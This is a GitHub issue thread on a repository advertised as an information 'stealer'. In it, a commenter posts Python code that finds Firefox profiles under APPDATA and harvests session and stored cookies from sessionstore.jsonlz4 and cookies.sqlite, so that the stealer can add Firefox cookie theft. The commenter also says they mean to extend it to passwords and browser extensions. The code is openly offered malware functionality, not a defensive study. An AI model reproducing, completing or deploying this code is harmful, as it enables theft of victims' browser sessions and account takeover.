FallenAstaroth / stink

🚀 Stealer on built-in libraries only, which doesn't create any temp files on data collecting, with 4 sending methods and lots of functionality.
Apache License 2.0
224 stars 55 forks source link

FireFox stealer #64

Open jamiekarvans opened 3 months ago

jamiekarvans commented 3 months ago

hi it is lacking FireFox or Gecko based browsers stealer, i've tried to add to it but it's your code and i get a headache reading someone else code lol, it's unfinished code i was trying to add all gecko browsers and also stealing extensions from them, and password, but so far it only steals and returns cookies from mozila you can add the rest of browsers in your config, i just gave up trying to implant it to your code lol:

import json
import os
import os.path
import sqlite3
import sys
from collections import namedtuple
import lz4.block

class FirefoxCookieError(Exception):
    pass

class FirefoxSessionStoreMissingError(FirefoxCookieError):
   pass

MOZLZ4_MAGIC = b'mozLz40\0'

class InvalidMozLz4FileError(FirefoxCookieError):
    pass

def read_mozlz4(file_path):
    with open(file_path, 'rb') as fh:
        if fh.read(len(MOZLZ4_MAGIC)) != MOZLZ4_MAGIC:
            raise InvalidMozLz4FileError(f'not an mozLz4 file: {file_path}')

        return lz4.block.decompress(fh.read())

COOKIE_JAR_HEADER = '# Netscape HTTP Cookie File'

class Cookie(
        namedtuple(
            'Cookie',
            'host allow_subdomains path is_secure expiry name value'
        )):
    __slots__ = ()

    def serialize(self):
        return '\t'.join(
            str(x) if not isinstance(x, bool) else str(x).upper()
            for x in self
        )

def write_cookie_jar(cookies):
    fh = ""
    fh += COOKIE_JAR_HEADER
    fh += '\n'

    for c in cookies:
        fh += c.serialize()
        fh += '\n'
    return fh

class FirefoxCookieReader:
    SESSIONSTORE_NAME = 'sessionstore.jsonlz4'
    COOKIEDB_NAME = 'cookies.sqlite'

    @staticmethod
    def _sqlite_convert_bool(bytes_obj):
        return bytes_obj != b'0'

    def __init__(self, profile_dir, host_glob_patterns=None):
        self._profile_dir = profile_dir
        self._host_globs = frozenset(host_glob_patterns or [])

        sqlite3.register_converter('bool', self._sqlite_convert_bool)

    def _is_host_matched(self, host):
        if not self._host_globs:
            return True

        for p in self._host_globs:
            if fnmatch.fnmatchcase(host, p):
                return True

        return False

    def _iter_session_cookies(self):
        try:
            data = json.loads(
                read_mozlz4(
                    os.path.join(self._profile_dir, self.SESSIONSTORE_NAME)
                )
            )
        except OSError as e:
            raise FirefoxSessionStoreMissingError(
                f'Firefox session store "{e.filename}" not found. Close Firefox, and try again.'
            ) from e

        for c in data['cookies']:
            if not self._is_host_matched(c['host']):
                continue

            yield Cookie(
                host=c['host'],
                allow_subdomains=c['host'].startswith('.'),
                path=c['path'],
                is_secure=c.get('secure', False),
                expiry=0,  # Session cookie
                name=c.get('name', ''),  # Empty name ok says http.cookiejar (?!)
                value=c['value'],
            )

    def _iter_persisted_cookies(self):
        conn = None

        try:
            conn = sqlite3.connect(
                os.path.join(self._profile_dir, self.COOKIEDB_NAME),
                detect_types=sqlite3.PARSE_COLNAMES
            )

            cursor = conn.execute(
                '''
                SELECT
                    host,
                    host LIKE '.%' AS 'allow_subdomains [bool]',
                    path,
                    isSecure AS 'isSecure [bool]',
                    expiry,
                    name,
                    value
                FROM moz_cookies;
                '''
            )

            for row in cursor:
                c = Cookie._make(row)
                if not self._is_host_matched(c.host):
                    continue

                yield c
        finally:
            if conn:
                conn.close()

    def __iter__(self):
        yield from self._iter_session_cookies()
        yield from self._iter_persisted_cookies()

def getc():
    appDataFolder = os.getenv('APPDATA')
    mozillaFolder = os.path.join(appDataFolder, "Mozilla", "Firefox", "Profiles")
    profileFolders = []
    profilePaths = []
    if os.path.exists(mozillaFolder):
        for _root, folders, file in os.walk(mozillaFolder):
            for folder in folders:
                if folder == "extensions":
                    profileName = _root.split('\\')[-1]
                    profileFolders.append(profileName)
                    profilePaths.append(_root)
    allcookies = ""
    for path in profilePaths:
        try:
            cookie_reader = FirefoxCookieReader(path)
            allcookies += write_cookie_jar(cookie_reader)
        except Exception as e:
            print(e)
    return allcookies